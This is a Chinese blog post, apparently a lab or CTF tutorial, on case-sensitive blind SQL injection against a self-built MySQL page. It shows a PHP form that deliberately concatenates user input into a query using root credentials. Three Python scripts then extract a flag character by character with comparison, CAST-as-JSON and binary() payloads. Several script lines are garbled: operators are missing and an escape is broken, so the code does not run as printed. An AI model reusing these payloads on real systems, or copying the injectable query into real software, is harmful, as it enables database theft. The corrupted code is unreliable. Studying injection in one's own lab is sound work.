flag区分大小写的sql盲注

2020-07-27 16:13:30 浏览数 (1)

环境搭建

先自己创建两个数据表。

然后自己搭建一个极其简单的mysql查询网页。

网页代码:

代码语言:javascript复制
#sql.php
<!DOCTYPE html>
<html>
<head>
<title>ezsqli</title>
</head>
<body>
<form action="" method="POST">
<input type="text" name="id">
<input type="submit">
</form>
</body>
</html>
<?php
if ($_POST['id']!='') {
$dbhost = 'localhost';  // mysql服务器主机地址
$dbuser = 'root';            // mysql用户名
$dbpass = 'root';          // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if (!$conn) {
die('连接失败: ' . mysqli_error($conn));
}
// 设置编码,防止中文乱码
mysqli_query($conn, "set names utf8");
$test = $_POST['id'];
$sql = "select number from math where id=$test";
mysqli_select_db($conn, 'test');
$retval = mysqli_query($conn, $sql);
if (!$retval) {
die('无法读取数据: ' . mysqli_error($conn));
} else {
$row = mysqli_fetch_array($retval);
echo $row['number'];
}
mysqli_close($conn);
}
?>

不区分大小写测试

测试代码:

代码语言:javascript复制
import requests
url = 'http://localhost/sql.php'
def trans(flag):
res = ''
for i in flag:
res  = hex(ord(i))
res = '0x'   res.replace('0x','')
return res
flag = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = trans(flag  chr(char))
payload = '2||((select 1,{})<(select * from test))'.format(hexchar)
data = {
'id':payload
}
r = requests.post(url=url, data=data)
if 'two' in r.text:
flag  = chr(char-1)#这个可以用知道select ’f’<’flag’;和select ‘flag’<’flag’;就明白
print(flag)
break
print((flag[:-1]   chr(ord(flag[-1])   1)).lower())#这个是必须的,道理和上面一样

结果:

可以看到不区分大小写,而且都会转化为大写。这个是因为MySQL不区分大小写,而且大写字符的ASCII码都比小写的小。

区分大小写

1.CAST(‘0’as json)

代码语言:javascript复制
import requests
import string
url = 'http://localhost/sql.php'
def test():
str1 = string.punctuation[0:15]   '0123456789'   string.punctuation[15:22]   string.ascii_uppercase   string.punctuation[22:28]   string.ascii_lowercase   string.punctuation[28:]
str1 = str1.replace("'", "").replace('"', '').replace('\', '')
print(str1)
flag = ''
for j in range(1,20):#如果flag太长,按照自己需要可以多循环几次
for s in str1:
s = flag s
paylaod = "2||((select 1,concat('{}~',CAST('0' as json))) < (select * from test))".format(s)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)
if 'two' in r.text:
flag=s
#print(r.text)
print(flag)
break
if __name__ == '__main__':
test()

结果:

MySQL中的JSON对象是二进制对象,因此cast(0 as json)回返回二进制’0’。也就是相当于”select ‘f0’<’flag’;”,而且’f0’是二进制数据。

2.binary()

代码语言:javascript复制
import requests
import string
url = 'http://localhost/sql.php'

str1 =string.punctuation[0:15] '0123456789' string.punctuation[15:22] string.ascii_uppercase string.punctuation[22:28] string.ascii_lowercase string.punctuation[28:]
str1=str1.replace("'","").replace('"','').replace('\','')
print(str1)
flag = ''
for j in range(1, 20):#如果flag太长,按照自己需要可以多循环几次
    for i in str1:
        sql = flag   i
        paylaod = "2||((select 1,binary('{}')) < (select * from test))".format(sql)
        # print(paylaod)
        data = {
            'id': paylaod,
        }
        r = requests.post(url, data=data)

        if 'two' in r.text:
            flag  = chr(ord(i) - 1)
            # print(r.text)
            print(flag)
            break
print(flag[:-1]   chr(ord(flag[-1])   1))

结果:

原理同上面一样。

总结:

原理很简单,我只是跟着大佬学习一下。需要注意的是,代码中str1的字符的顺序一定要按照ASCII码从小到大排序(这个坑了我好久)。”select ‘f’<’flag’;”和”select ‘falg’<’flag’;”的区别容易被忽略(说的就是我自己)。如果有更好的可以自己试试,原理就是这样。还请大佬指点。

0 人点赞